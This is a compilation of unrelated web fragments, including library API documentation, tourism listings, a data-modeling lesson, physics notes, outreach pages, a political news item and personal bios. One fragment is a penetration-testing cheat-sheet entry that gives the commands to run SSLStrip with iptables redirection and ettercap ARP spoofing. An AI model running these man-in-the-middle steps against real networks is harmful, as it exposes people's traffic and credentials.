MDRENSSwapParameterInfo
)
parse()
(in
SequenceAlignment
)
polar()
(in
csb.numeric
)
protocol
(in
NonequilibriumStepPropagator
)
parse()
(in
StructureAlignment
)
polar3d()
(in
csb.numeric
)
Protocol
(in
csb.statistics.samplers.mc.neqsteppropagator
)
parse()
(in
SimilarityMatrix
)
POLL
(in
Shell
)
protocol
(in
AbstractNCMCPropagator
)
parse()
(in
SecondaryStructure
)
position
(in
AbstractState
)
protocol
(in
AbstractNCMCSampler
)
parse()
(in
Enum
)
position
(in
EnsembleState
)
proton_dimensions
(in
NOESpectrum
)
parse_async()
(in
AsyncStructureParser
)
position
(in
State
)
provider
(in
StructureAlignmentFactory
)
parse_biomolecule()
(in
AbstractStructureParser
)
position()
(in
ContactMap
)
Proxy
(in
csb.core
)
parse_file()
(in
ClansParser
)
POSITIONAL
(in
Type
)
PseudocountBuilder
(in
csb.bio.hmm.pseudocounts
)
parse_file()
(in
BaseSequenceParser
)
PositionError
(in
csb.bio.sequence
)
pseudocounts
(in
ProfileHMM
)
parse_file()
(in
HHOutputParser
)
positive()
(in
ChemShiftScoringModel
)
pseudocounts
(in
csb.bio.hmm
)
parse_models()
(in
AbstractStructureParser
)
power
(in
csb.statistics.pdf
)
psi
(in
ResidueInfo
)
parse_residue()
(in
AbstractStructureParser
)
Pr
(in
ChemElements
)
psi
(in
TorsionAngles
)
parse_residue_safe()
(in
AbstractStructureParser
)
precision
(in
csb.apps
)
psi
(in
TorsionAnglesCollection
)
parse_scores()
(in
PSIPredParser
)
precision()
(in
TargetResidue
)
psi
(in
csb.statistics.scalemixture
)
parse_string()
(in
BaseSequenceParser
)
PrecisionApp
(in
csb.apps.precision
)
psi()
(in
csb.numeric
)
parse_string()
(in
HHOutputParser
)
predecessor
(in
Transition
)
psipred
(in
ProfileHMM
)
parse_structure()
(in
AbstractStructureParser
)
predicate
(in
Expression
)
psipred
(in
csb.bio.io
)
parse_structure()
(in
AsyncStructureParser
)
Predicate
(in
csb.io.tsv
)
PSIPredParseError
(in
csb.bio.io.psipred
)
parseArguments()
(in
Console
)
prediction()
(in
BenchmarkAdapter
)
PSIPredParser
(in
csb.bio.io.psipred
)
parsename()
(in
Enum
)
PredictionBuilder
(in
csb.apps.hhfrag
)
PSIPredResidueInfo
(in
csb.bio.io.psipred
)
parser
(in
ArgHandler
)
prefix
(in
RemoteStructureProvider
)
Pt
(in
ChemElements
)
parser
(in
HHsearch
)
principal_coordinates()
(in
csb.statistics
)
Pu
(in
ChemElements
)
path
(in
RevisionHandler
)
prior
(in
ScaleMixture
)
Purine
(in
NucleicAlphabet
)
paths
(in
CustomStructureProvider
)
PRO
(in
ProteinAlphabet
)
push()
(in
Stack
)
paths
(in
FileSystemStructureProvider
)
PRO
(in
StdProteinAlphabet
)
pval
(in
ClansParams
)
PATTERN
(in
FastResidueMapper
)
prob()
(in
MaxentModel
)
pvalue
(in
HHpredHit
)
Pb
(in
ChemElements
)
prob_sum
(in
HHpredHit
)
PYL
(in
ProteinAlphabet
)
Pd
(in
ChemElements
)
probabilistic_and()
(in
csb.statistics
)
Pyrimidine
(in
NucleicAlphabet
)
Home
Trees
Indices
Help
CSB v1.2.5.d7fd331
Generated by Epydoc 3.0.1 on Tue Jul 4 20:19:03 2017
http://epydoc.sourceforge.net


You have probably read a bit about Hungry-For-Blocks and now want to know how to get it. There are several ways to get it, all of which are straight forward and user friendly.
Note:All the following instructions are written for google chrome and window 10, sorry if you use another browser or operating system.The first way is by using the bookmark.
The second way is by using the userscript.
A userscript is something that runs a script every time you go into a webpage.


Dindigul Rock Fort, a historical fort measuring 280 ft in height, is situated near the main town of Dindigul. The fort was constructed by Naik king Muthu Krishnappa Naicker in 1605. It is 2.7 kilometers from dindigul.
Visiting Timings:-8AM–5:30PM
Abirami Amman Temple is situated in the heart of the city and is famous for the Kolu that is kept during the Navratri festival. During this festival, the temple priests perform over 1 lac archanas to Goddess Abirami Amman. A procession during all Fridays of Adi month is held at this temple when the goddess is taken on a flower pallak. It is 400 kilometers from dindigul.
Visiting Timings:-6.00 AM to 12.00 PM 4.00 PM to 9.30 PM
Offers views of the plains and the Vaigai River Dam at the South. It is 100 kilometers from dindigul.
Visiting Timings:-7:00 AM - 6:00 PM
St. Anthony's Church was built between 1982 and 1989 by Thomas Fernando. The church is known for a ceremony that starts on the last Friday of January and continues for 15 days. It is 7 kilometers from dindigul.
Visiting Timings:-6:00AM-9:30AM and 11:00AM-6:15PM
A historical place. Rock fort is standing without much maintenance. We need to buy food items before climbing to the top. At top, we can see and admire about the tall fort and inside, lots of cave like forts for weapon storage. Also, we can see some big iron weapons. I prefer this place is good to watch with school children. Drawback is lack of maintenance. No place to take rest at the mid of the hill. It is 3 kilometers from dindigul.
Visiting Timings:-8AM–5:30PM
Thadikombu Perumal Temple is located at a distance of 5 km from Dindigul on the route to Karur. Lord Alagar is the main deity of this temple, who is offered a special pooja for 12 days during the Chitrai month from April to May. It is 10.2 kilometers from dindigul.
Visiting Timings:-6.00AM to 12.00PM and 04.00PM to 08.00PM


brHome
beReading
beReading, search book titles and enjoy reading.
Keep in mind when using the search bar
Recommended method
: enter 10- or 13-digit ISBNs or
Enter full title of the book.
Enter the author’s first and last name, separated by a space.
Submit


Goals
Getting to know the basics of working with data: modeling, manipulating
Software & Other Required Materials
- R
- Excel, Google Spreadsheets, or any other alternative
In Class I: Theoretical and Conceptual
Ways of modeling data: Categorization
“[Modeling is] a continual process of coming to know by manipulating representations.”
— Willard McCarty, “Modeling: A Study in Words and Meanings,” in Susan Schreibman, Ray Siemens, and John Unsworth, A New Companion to Digital Humanities, 2nd ed. (Chichester, UK, 2016), http://www.digitalhumanities.org/companion/.
One of the most common way of modeling data in historical research—joining items into broader categories. Categorization is important because it allows to group items with low frequencies into items with higher frequencies, and through those discern patterns and trends. Additionally, alternative categorizations allow one to test different perspectives on historical data.
The overall process is rather simple in terms of technological implementation, but is quite complex in terms of subject knowledge and specialized expertise is required to make well-informed decisions.
- For example, let’s say we have the following categories: baker, blacksmith, coppersmith, confectioner, and goldsmith.
- These can be categorized as occupations;
- Additionally, blacksmith, coppersmith, and goldsmith can also be categorized as ‘metal industry’, while baker and confectioner, can be categorized as ‘food industry’;
- Yet even more, one might want to introduce additional categories, such as luxury production to include items like goldsmith and confectioner; and regular production for items like baker, blacksmith, coppersmith.
- Such categorizations can be created in two different way, with each having its advantages:
- first, one can create them as additional columns. This approach will allow to always have the original—or alternative—classifications at hand, which is helpful for re-thinking classifications and creating alternative ones where items will be reclassified differently, based on a different set of assumptions about your subject.
- second, these can be created in separate files, which might be easier as one does not have to stare at existing classifications and therefore will be less influenced by them in making classification decisions.
- Additionally, one can use some pre-existing classifications that have already been created in academic literature. These most likely need to be digitized and converted into properly formatted data, as we discussed in the previous lesson.
Normalization
This is a rather simple, yet important procedure, which is, on the technical side, very similar to what was described above. In essence, the main goal of normalization is to remove insignificant differences that may hinder analysis.
- Most common examples would be:
- bringing information to the same format (e.g., dates, names, etc.)
- unifying spelling differences
It is a safe practice to preserve the initial data, creating normalized data in separate columns (or tables)
Note: Proxies, Features, Abstractions
These are the terms that refer to the same idea. The notion of proxies is used in data visualization, that of features—in computer science; that of abstractions—in the humanities.
The main idea behind these terms is that some simple features of an object can act as proxies to some complex phenomena.
For example, Ian Morris uses the size of cities as a proxy to the complexity of social organization. The login is following: the larger the size of a city, the more complex social, economic and technical organization is required to keep that city functional, therefore is can be used as an indicator of the social complexity.
While proxies are selected from what is available—usually not much, especially when it comes to historical data—as a way to approach something more complex, it may be argued that abstractions are often arrived to from the opposite direction. We start with an object which is available in its complexity and we reduce its complexity to a more manageable form which—we expect—would prepresent a particular aspect of the initial complex object. Most commonly this is applied to texts in a natural language. For example, in stylometry texts are reduced to freqiency lists of most frequent features, which are expected to represent an authorial fingerprint.
The complexity of texts can be reduced in a number of ways: into a list of lemmas (e.g., for topic modeling analysis), frequency lists (e.g., for document distance comparison), syntactic structures, ngrams, etc. This list is never set and researchers can create multiple abstractions depending on their research questions.
In Class II: Practical
Data for the practical session and homework: Bosker_Data.zip. The data is available in open access and is a supplement to a study (see, Reference Materials).
The zipped file includes everything you need for the practical session. Download and unzip (read the article at home!).
NB: create a notebook and work through the following questions. Group work is encouraged. Please, explain in one or two sentences what you do in each step, so that your work is also human-readable.
- Can you figure which file contains data?
- In which format is data? How can we load it into R?
- What is the chronological extent of this data?
- [easy-ish] What periods can it be divided into? How can we do that?
- How can we introduce the following categories into this data:
- [easy] North Africa and Europe?
- [a bit more complicated] the Austro-Hungarian Empire?
- [a tad tricky] Christiandom and Islamdom?
Now very specific questions:
- What is the chronological extent of this data?
- [easy-ish] What periods can it be divided into? How can we do that?
- Can you generate a cumulative graph of population over time, divided into these periods? (Hint: there should be one line for one period and another for another, etc.)
- [easy-ish] What periods can it be divided into? How can we do that?
- How can we introduce the following categories into this data:
- [easy] North Africa and Europe?
- Can you construct comparative graphs of population in North Africa and Europe (similar to what you did with the Morris dataset). Here you will need to sum up population!
- [a bit more complicated] the Austro-Hungarian Empire?
- When did the Empire had the largest number of cities (based on the data set)?
- When was its population at the highest?
- [a tad tricky] Christiandom and Islamdom?
- What are the largest cities of Islamdom for each reported period?
- What are the largest western cities of Islamdom between 1000 and 1500 CE?
- [easy] North Africa and Europe?
Reference Materials
- Bosker, Maarten, Eltjo Buringh, and Jan Luiten van Zanden. 2012. “From Baghdad to London: Unraveling Urban Development in Europe, the Middle East, and North Africa, 800–1800.” The Review of Economics and Statistics 95 (4): 1418–37. https://doi.org/10.1162/REST_a_00284.
- Bosker, Maarten, Eltjo Buringh, and Jan Luiten Van Zanden. 2014. “Replication Data for: From Baghdad to London: Unraveling Urban Development in Europe, the Middle East, and North Africa, 800-1800.” Harvard Dataverse. https://doi.org/10.7910/DVN/24747.
Homework
Finish the practical part and email your notebooks (HTML or PDF, preferably the latter).
Additional Readings
- Moretti, Franco. 2007. Graphs, Maps, Trees: Abstract Models for Literary History. London - New York: Verso.
- Moretti, Franco. 2013. Distant Reading. London ; New York: Verso.
- Romanov, Maxim G. 2017. “Algorithmic Analysis of Medieval Arabic Biographical Collections.” Speculum 92 (S1): S226–46. https://doi.org/10.1086/693970.


WAR
Welcome to the game of WAR!
- This is the same game you remember from your childhood!
- The player with the highest card takes the cards from that round.
- If there is a tie between the highest value cards, then we have WAR!
- When there is WAR, each player puts a card into the pot, and then shows their next card. The player with the highest card showing wins the cards.
- Select the 'Number of Players' and press 'Start New Game' to begin.
- Good Luck!


If you came here just to make your own globe, click button below, it will automatically select projections:
I want to make a globe!
Pick image to project:
Project from:
Equirectangular
Azimuthal
Orthographic
Sinusoidal
Sinusoidal intercepted
Mercator
Or pick your own FROM projection:
Project to:
Equirectangular
Equidistant Azimuthal
Lambert Azimuthal Equal-Area
Orthographic
Sinusoidal
Sinusoidal interrupted
Mercator
Transverse Mercator
Daisy petal
Or pick your own TO projection:
Project from:
Project to:


You must be an ABSCH IAC member to participate in this forum.
Total threads: {{iacThreads}}You must be an ABSCH or CHM IAC member to participate in this forum.
Total threads: {{jointIacThreads}}This forum is closed for comments.
Total threads: {{art10Threads}}


Horaro is temporarily unavailable. Please check back in a few minutes.
We apologise for the downtime. Those responsible have been sacked.


[t]You are already invited to this appointment.[/t]
{else}
[t]Appointment booking failed[/t]
[t]Another appointment has been made for this consultant at the spot that you have chosen while you request was being processed. Please repeat the process again and select another spot.[/t]


In the weak field regime of sourceless Einstein’s equation (\(T^{\mu\nu}=0\)), the equation for metric with perturbations is reduced to a wave equation,
where \(\bar h^{\alpha\beta}\) is the trace-reversed perturbation of the metric on top of Minkowski metric background, i.e.,
where \(h^{\alpha\beta} = g^{\alpha\beta} - \eta^{\alpha\beta}\) and \(h\) is the trace of metric perturbation \(h^{\alpha\beta}\).
Trace Reverse
The tensor \(\bar h^{\alpha\beta}\) is called trace reverse of \(h^{\alpha\beta}\) for its trace is \(-h\).
To solve the equation we introduce a solution of the form \(\hat h^{\alpha\beta} = A^{\alpha\beta}e^{i k_\mu x^\mu }\), which simiplifies the equation
To solve the amplitude \(A^{\alpha}\) we need constraints on it. We can derive that gravitational waves are always null, that is \(k^\mu k_\mu=0\).
Some of the conditions requires a gauge transformation. In any case, we have the second gauge condition as
which specifies that \(A_{\alpha\beta}\) is orthogonal to the vector we chose \(U^{\beta}\). A practical choice of \(U^\beta\) is a four velocity. This removes another four degrees of freedom. For illustration purpose, we choose \(U^{\beta} \to ( 1, 0, 0, 0 )\) since it’s a null vector. The degrees of freedom removed can be visualized as the first rwo and column.
The second one we can think of is a transverse condition,
which removes another three degrees of freedom. This specifies that the wave is transverse, i.e., \(A_{\alpha\beta}\) can not have elements that is in the direction of four wavevector. We specify a wavevector \(k^\beta \to (\omega, 0, 0, \omega )\), which leads to the removal of the remaining elements of the fourth row and column.
The matrix we have now becomes
The last gauge condition is traceless condition \(A^\alpha_\alpha = 0\) which also requires the gauge transformation. This condition fixes the phase relations between different spatial directions, that is \(A_{xx} = e^{i\pi} A_{yy} = - A_{yy}\). This conditions insists that the two directions of distance oscillations should be quadrupole-like, i.e., contracts in one direction (say x) while extend in the other direction (say y).
Slicing
The first two conditions are basically specifying slicings of spacetime.
Physical Significance of Transverse-traceless Gauge
Transverse-traceless gauge is the very gauge that determines a coordinate system that a test particle is stationary in terms of coordinates.
To show this we assume that we have a test particle being stationary initially, i.e., \(U^\alpha\vert_{\tau=0} \to (1,0,0,0)^{\mathrm T}\).
The particle should travel on geodesics,
which leads to
The four acceleration is 0 for the test particle. No motion would be detected within the coordinate system.
The same is true for a particle moving in \(z\) direction. However, the conclusion doesn’t hold for other motions. p
© 2017, Lei Ma. | Created with Sphinx and . | On GitHub | Neutrino Notebook Statistical Mechanics Notebook | Index | Page Source


What technique is often used to prove the correctness of a recursive method?
The main idea behind recursion is how we reduce a problem to smaller problems till reaching to a base condition.
This is also how mathematical induction works.


Hello! Nice to meet you!
Thanks for stopping by!
My name is Haimeng Gan (Haimeng is pronouced as Haimung in Chinese, which means ocean and dream). I am currently a graduate student, focusing on UX design at University of Washington. Previously, I interned at VestLink as a UX designer.
When I am not designing, I am probably watching documentary, playing music and hiking.
Feel free to reach out to me on LinkedIn or shoot me an email. I am always happy to chat :)
Designed and Coded by Haimeng Gan @2018


The Underwater Robotics Team represents a unique niche in the local community. The team engages in the community by participating in events such as the Ohio State Fair. As a participant in the Ohio State Fair, the Underwater Robotics Team designs and builds an exhibit to educate the local community about marine engineering. This involves smaller ROVs which guests can actively control and engage with in a small pool. The past year, electromagnets were attached to these smaller ROVs and guests were challenged to pick up painted washers from the bottom of the pool. This entertained many guests; both young and old.
Although not a quantifiable metric, the joy the exhibit brought to everyone was a rewarding experience, engaging teachers and encouraging them to incorporate the aspects of underwater vehicular design to their classroom. We have even engaged younger interested individuals with special needs to encourage them to pursue their underwater interests!
Achal Singhal (red) Mentors Young Students On The Principles Of Buoyancy
The team also participates in Ohio State camps hosted by Women in Engineering (WiE) as mentors and judges for the ROV camps to engage young adults in science, technology, engineering, and mathematics (STEM) fields. The team has a firm belief that STEM education is an important initiative. The Underwater Robotics Team hopes to continue to make a local impact on STEM education through both participating in community events and with proper funding, sponsoring technology demonstrations of the team’s ROVS as a part of OSGC’s larger initiative.
This year, the team participated in two events – one was a semester long high school project using Sea Perch kits. The teams had to navigate through an obstacle course, and the local competition. Shown in Figure 1 is a picture of the winning team with the collegiate mentors.
Winning Team in Sea Perch Challenge Alongside Mentors
The second activity was a year long activity at a local middle school. The team helped mentor middle school students via the use of Arduinos. During the first half of the school year, the primary focus was teaching the students the Arduino programming language. As shown in Figure 2, a member of the team is shown students a quadcopter – one of they many applications of robotics. During the second half of the year, the students were given the task of designing and programming a line following robot. Figure 3, shows an example of the vehicle on the competition track.
Mentor Explaining How a Quadcopter Works
Line Following Robot
The team has volunteered at multiple STEM events hosted by the PAST Foundation. The events are ROV competitions for high school students in the Columbus area and require the creation of a tethered underwater vehicle, technical documentation, and a formal presentation. Team members have been involved with assisting in overall event flow, acting as judges for presentations and documentation, and supporting teams waiting for the run. In preparation for one of PAST’s competitions team members also volunteered as mentors for an engineering class at METRO high school, where volunteers helped teams troubleshoot issues and gave design advice.
For future STEM outreach activities the team has created a small demonstration robot, termed a STEMbot. This vehicle will be used in classrooms and workshops to show people how great the STEM field is and hopefully inspire young minds to pursue science and engineering careers.


Aggregating coins...
1" class="ion-no-padding ion-no-margin">You are about to aggregate {{ selectedCoins?.length }} coins...
You are about to aggregate {{ selectedCoins?.length }} coin...
Preview
Aggregated coin
{{ totalOutput }}
This transaction cannot be reverted once confirmed.
Cancel
Confirm


Performance
This test category verifies the performance requirements of servod.
PERF-0010 - servod can control up to 8 servos
PERF-0020 - Pulse width resolution is 1 microsecond
PERF-0030 - CPU load is less than 1%


Protective effects of notch-1 on TCR -induced apoptosis.
Abstract
The Notch receptor protein was originally identified in Drosophila and is known to mediate cell to cell communication and influence cell fate decisions. Members of this family have been isolated from invertebrates as well as vertebrates. We isolated mouse Notch-1 in a yeast two-hybrid screen with Nur77, which is a protein that has been shown previously to be required for apoptosis in T cell lines. The data presented below indicate that Notch-1 expression provides significant protection to T cell lines from TCR -mediated apoptosis. These data demonstrate a new antiapoptotic role for Notch-1, providing evidence that, in addition to regulating cell fate decisions, Notch-1 can play a critical role in controlling levels of cell death in T cells.


Weaving nodes¶
|
Dividing texture space. |
|
Generating periodic stripes for warp and weft. |
|
Thickness bulging |
|
Converting triangle profile to decent shape. |
|
Generating coordinates for pattern sampling. |
|
Interpolating sampled pattern. |
|
Plain weaving. |
|
Twill weaving |
|
Jacquard weaving. |
|
Combining and adjusting maps. |
|
Creating thread mask from their elevations |
The nodes in this module generate stripes of woven fabric. Warp stripes go along V(Y) axis. Weft stripes go along U(X) axis.
Resulting values are encoded as colors/images with R channel corresponding to weft and G channel corresponding to warp. The values are not generally restricted to range 0..1 and any operations could be applied to them via MixRGB node.
All the nodes suppose texture space to be divided into weaving cells, so that each cell contains single cross.
The cells has texture coordinates in range n + 0.0 .. n + 1.0
The strobing nodes place stripes in the middle of each cell,
so that center of each stripe has coordinate n + 0.5
.
The weaving nodes generate elevation waves in range -1.0 .. +1.0
with -1.0 indicating back side and +1.0 face side.
Elevation changes sinusoidally starting and ending at centers of neighbour cells.
Weaving nodes are unaware of stripes width and generate cell-wide waves.
When generating very thick stripes it may result in some visible intersections.
This could be fixed with RGBCurves
applied to waves to make more steep,
but value range -1 to +1 shoudle be preserved.
And this may produce other more ugly artefacts, not yet fixed.
-
class
FMWeaveScaling
(*args, **kwargs)¶ Dividing texture space.
Scales vector to form weaving cells according to desired thread count. Basically, a wrapper around few simple vector math operations.
- Options:
- balanced
Use the same thread count for warp and weft.
- Inputs:
- vector
Original texture vector.
- thread count
Desired number of stripes per original texture unit.
- Outputs:
- vector
Scaled vector.
- scale
Resulting size of weaving cells (relative to original texture unit). I don’t know what is it for.
- snapped
Original vector snapped to weaving cells. Using the vector for some texture like noise will produce same value within each cell.
-
class
FMWeaveStrobing
(*args, **kwargs)¶ Generating periodic stripes for warp and weft.
- Options:
- balanced
Use the same thickness for warp and weft scaling
- Inputs:
- vector
UV vector
- thickness
Relative width of stripes (ratio of fill to gaps, with 1 = cover full area)
- Outputs:
- strobes
Boolean mask indicating presence of warp or weft
- alpha
Boolean mask of stripes/gaps
- profiles
Triangle-shaped bump elevation of each stripe. It has value 1.0 in the middle of stripes, and 0.0 at its edges.
-
class
FMWeaveBulging
(*args, **kwargs)¶ Thickness bulging
Makes stripes thicker on face side, proportional to elevation.
- Inputs:
- waves
Map of stripes elevation (from some weaving node)
- thickness
Base thickness/width
- shrinking
Factor of shrinking on back side
- Outputs:
- thickness
Resulting thickness
-
class
FMWeaveProfiling
(*args, **kwargs)¶ Converting triangle profile to decent shape.
Simply maps values 0..1 to some predefined curve. It can be done with curves, but it’s hard to make them smooth at edges.
-
class
FMWeaveOverlaying
(*args, **kwargs)¶ Combining and adjusting maps.
The elevation and profiles are scaled according to provided thickness. Waves of stripes are adjusted, so that they lay precisely on top of each other.
Stiffness makes corresponding stripes more straight and less waving.
It simulates tension of yarn in loom. Usually it is warp yarn straighened in loom’s frame, but some weavers beat weft yarn so hard that it becomes the other way around.
- Options:
- balanced
Use the same thickness for warp and weft.
- stifness
Apply stiffness. Applying it to both warp and weft will obviously compensate the effect.
- Inputs:
- strobes
Boolean map of stripes.
- profiles
Height map of stripes’ profiles.
- waves
Height map of stripes’ waves. Should be in range
-1 .. +1
- thickness
Height of stripes (kinda radius of semi-circular shape).
- stiffness
Stiffness of corresponding stripes (1.0 = no waving).
- Outputs:
- evalation
Combined elevation of waves and profiles separately for each channel.
- mask
Map indicating which kind of stripe is on face side.
- height
Resulting height for bump mapping.
-
class
FMWeaveMasking
(*args, **kwargs)¶ Creating thread mask from their elevations
-
class
FMWeavePatternSampling
(*args, **kwargs)¶ Generating coordinates for pattern sampling.
Coordinates are snapped so that each pixel of pattern corresponds to cell of weaving. The vectors are shifted to point to neighbouring pixels/cells.
The vectors should be fed to texture node and the resulting color routed to FMWeavePatternInterpolating to produce smooth waves.
- Parameters:
- image
The pattern image. Should be black-n-white.
- Inputs:
- vector
UV vector
- width
width of image in pixels.
- height
height of image in pixels.
- Outputs:
Vectors shifted left/right up/down, and snapped to cells or half-cells.
-
class
FMWeavePatternInterpolating
(*args, **kwargs)¶ Interpolating sampled pattern.
Interpolates values from heighbour cells to form smooth transitions.
- Inputs:
- vector
original, unsnapped vector
- value l/r/u/d
values for neighbouring cells
-
class
FMWeavingPlain
(*args, **kwargs)¶ Plain weaving.
Generating simple checkerboard-like interlacing.
- Inputs:
- vector
UV vector
- Outputs:
waves
-
class
FMWeavingTwill
(*args, **kwargs)¶ Twill weaving
Generating interlacing according to twill scheme specifying how weft yarn goes between warp yarns.
This covers all kinds of twill and satin weaving. Especially if to change parametyers dynamically.
- Inputs:
- vector
UV vector
- above
number of cells a weft stripe is on face side (above warp)
- below
number of cells a weft stripe is on back side (below warp)
- shift
number of cells to shift pattern every subsequent row
- Outputs:
- waves
map of stripe elevation, in range -1.0..+1.0
-
class
FMWeavingJacquard
(*args, **kwargs)¶ Jacquard weaving.
Generating interlacing according to given pattern image (corresponding to “weaving draft” in weaving reality). White pixels indicate weft-facing cells, black pixels indicate warp-facing cells.
- Paramaters:
- pattern
a black-n-white image specifying weaving pattern.
- Inputs:
- vector
UV vector.
- Outputs:
- waves
map of stripe elevation.


open fun fromSqlObject(pendingTask: PendingTask): PendingTask
I hope to remove this in the future. Use inside of your PendingTasksFactory instance to instantiate objects.


[SSLStrip](http://www.thoughtcrime.org/software/sslstrip) | uses MitM attack to manipulate HTTP traffic and proxies requests to upstream HTTPS site by using http-to-https redirects
Note: manually entered or embedded https:// . . . URLs are not attacked
Note: for opsec purposes, check differences between sslstrip and ettercap/bettercap plugins to ensure sites look reasonably correct when stripped
WARNING: For scoping purposes, sslstrip removes SSL on ALL websites. There is no filter (maybe with ettercap/bettercap). Because of this, employees/clients browsing PERSONAL websites MAY BE COMPROMISED. Ensure this is in the Rules of Engagment, or limit SSLStrip activity.
1. Turn on IP forwarding
# sysctl -w net.ipv4.ip_forward=1
or
# echo 1 > /proc/sys/net/ipv4/ip_forward
2. Use iptables tp set a transparent proxy, redirecting HTTP traffic to the port where SSLStrip is listening
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
3. Start SSLStrip using -l (lower L) to specify port
# sslstrip -l 8080
4. Use ettercap/bettercap for MitM
# ettercap -TqM arp:remote /<ip>// /<ip>//
5. Monitor sslstrip
# tail -f sslstrip.log


|
QuantLib: a free/open-source library for quantitative finance
Fully annotated sources - version 1.30
|
#include <ql/models/marketmodels/piecewiseconstantcorrelation.hpp>
Public Member Functions | |
| virtual | ~PiecewiseConstantCorrelation ()=default |
| virtual const std::vector< Time > & | times () const =0 |
| virtual const std::vector< Time > & | rateTimes () const =0 |
| virtual const std::vector< Matrix > & | correlations () const =0 |
| virtual const Matrix & | correlation (Size i) const |
| virtual Size | numberOfRates () const =0 |
Definition at line 32 of file piecewiseconstantcorrelation.hpp.
|
virtualdefault |
|
pure virtual |
Implemented in CotSwapFromFwdCorrelation, ExponentialForwardCorrelation, and TimeHomogeneousForwardCorrelation.
|
pure virtual |
Implemented in CotSwapFromFwdCorrelation, ExponentialForwardCorrelation, and TimeHomogeneousForwardCorrelation.
|
pure virtual |
Implemented in CotSwapFromFwdCorrelation, ExponentialForwardCorrelation, and TimeHomogeneousForwardCorrelation.
Definition at line 43 of file piecewiseconstantcorrelation.hpp.
|
pure virtual |
Implemented in CotSwapFromFwdCorrelation, ExponentialForwardCorrelation, and TimeHomogeneousForwardCorrelation.


ABOUT ME: This app was designed with photographers and photographees in mind.
Photographees: Find your perfect photographer.
Photographers: Use this app to showcase your work and make a career out of a hobby.


Git-it teaches the basics of using Git and GitHub. These basics aren't merely benginner Git and GitHub skills—they are the commands and steps you'll use over and over as in your awesome future versioned controlled social coding.
You can also complete Git-it in Traditional Chinese and Japanese, just select the langauge you want from the menu in the upper left.
The 'Window' option in the application menu can take you to the Dictionary, Resources and About page.
You're making progress, keep going and pick up where you left off.
You finished all the challenges! You're primed for social coding, so what's next?


Tuberculosis (TB) is a chronic lung disease that occurs due to bacterial infection and is one of the top 10 leading causes of death. Accurate and early detection of TB is very important, otherwise, it could be life-threatening. In this work, we have detected TB reliably from the chest X-ray images using image preprocessing, data augmentation, image segmentation, and deep-learning classification techniques. Several public databases were used to create a database of 3500 TB infected and 3500 normal chest X-ray images for this study.


TEDmap
TED talks topic trend visualization
Process Book
How to Use
Word Cloud - Category of Tags
exploration
society
computers
health
brain
culture
design
relationships
future
other
Network Chart - Co-occurrence of Tags
All
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
All
Tag Frequency versus Year
clear all
Observe the trend of science
TED Talks within seleted tags
#
Headline
Speaker
Views


| Number of Classes | Line Coverage | Mutation Coverage | Test Strength | Mutation Score |
|---|---|---|---|---|
| 9 | 74% | 39% | 77% | 37%
Killed: 55
Uncertain: 34
|
| Name | Line Coverage | Mutation Coverage | Test Strength | Mutation Score |
|---|---|---|---|---|
| AlwaysNewSessionStrategy.java | 100% |
55% |
73% |
56%
Killed: 5
Uncertain: 4
|
| BaseSessionHandlingStrategy.java | 91% |
64% |
82% |
90%
Killed: 9
Uncertain: 0
|
| DefaultErrorAnalyzer.java | 87% |
28% |
63% |
30%
Killed: 6
Uncertain: 4
|
| EnquireLinkTask.java | 74% |
38% |
100% |
0%
Killed: 0
Uncertain: 5
|
| KeepSessionAliveStrategy.java | 94% |
43% |
86% |
43%
Killed: 15
Uncertain: 15
|
| MayReuseSessionStrategy.java | 88% |
42% |
88% |
64%
Killed: 18
Uncertain: 4
|
| RelayFailureHandler.java | 0% |
0% |
0% |
0%
Killed: 0
Uncertain: 0
|
| RespondToDeliveryReceiptHandler.java | 41% |
16% |
43% |
8%
Killed: 1
Uncertain: 1
|
| RespondToEnquireLinkRequestHandler.java | 41% |
16% |
43% |
8%
Killed: 1
Uncertain: 1
|


General election 2019: Green Party pledge £12 minimum wage for all 16-year-olds
It comes days after the Greens also offered an £89-a-week basic income for all - but of course, they'd have to get into government first
by Dan Bloom, https://www.facebook.com/mirrordanbloomThe Green Party have pledged a £12-an-hour minimum wage for anyone over 16 by 2022.
The eyebrow-raising election pledge outstrips the wildest dreams of the Tories or even Labour in a bid to ensure all youngsters earn the living wage.
It comes days after the Greens also pledged a universal basic income of £89 a week for all adults by 2025.
By comparison, Labour has said it would pay all over-16s £10.81 an hour by 2024 and trial the Universal Basic Income, but not commit to bring it in.
The Tories have pledged a £10.50-an-hour minimum wage by 2024 but only for over-21s.
The Green Party's generous offer would of course depend on the party winning a Westminster majority at odds of 1,000/1. Currently, the party has just one seat.
Under the current system, the minimum wage for under-18s is £4.35, for 18 to 20-year-olds it is £6.15, and for 21 to 24-year-olds it is £7.71.
Meanwhile apprentices can be paid as little as £3.90.
Greens co-leader Sian Berry said: "The Living Wage must mean what it says on the tin.
"The Green Party will end the discrimination against young people where it is legal to pay under-21s a genuine pittance for doing exactly the same work as someone older.
"It isn’t fair, it doesn’t make sense, and it must stop."


pyemu.logger
¶
module for logging pyemu progress
Module Contents¶
Classes¶
a basic class for logging events during the linear analysis calculations |
-
class
pyemu.logger.
Logger
(filename, echo=False)¶ Bases:
object
- a basic class for logging events during the linear analysis calculations
if filename is passed, then a file handle is opened.
- Parameters
filename (str) – Filename to write logged events to. If False, no file will be created, and logged events will be displayed on standard out.
echo (bool) – Flag to cause logged events to be echoed to the screen.
-
statement
(self, phrase)¶ log a one-time statement
- Arg:
phrase (str): statement to log
-
log
(self, phrase)¶ log something that happened.
- Arg:
phrase (str): statement to log
Notes
- The first time phrase is passed the start time is saved.
The second time the phrase is logged, the elapsed time is written
-
warn
(self, message)¶ write a warning to the log file.
- Arg:
phrase (str): warning statement to log
-
lraise
(self, message)¶ log an exception, close the log file, then raise the exception
- Arg:
phrase (str): exception statement to log and raise


Magister Kaira:
Do you have any idea what the jewel you have taken is capable of? A wise Wizard would never give or take such an object so carelessly.


Biography
I was born in Ohio but grew up in Oak Ridge, Tennessee. I graduated the University of Tennessee in 2003 with a BS in Communications. I previously worked as a software renewal sales supervisor. I currently live in Peru with my wife and a dog named Frances. We have been here for two years. When I am not learning to code I enjoy traveling, fly-fishing, and trying new food. However, I am currently a student at Fellows learning to code. My goal is to transition into web develop upon completion.
Job History
- Student at Code Fellows, Learning Full Stack JavaScript
- Mythics Inc., Virginia Beach, Virginia, Support Solutions Supervisor
- Sunshine Media Group, Chattanooga, TN, Market Development Manager
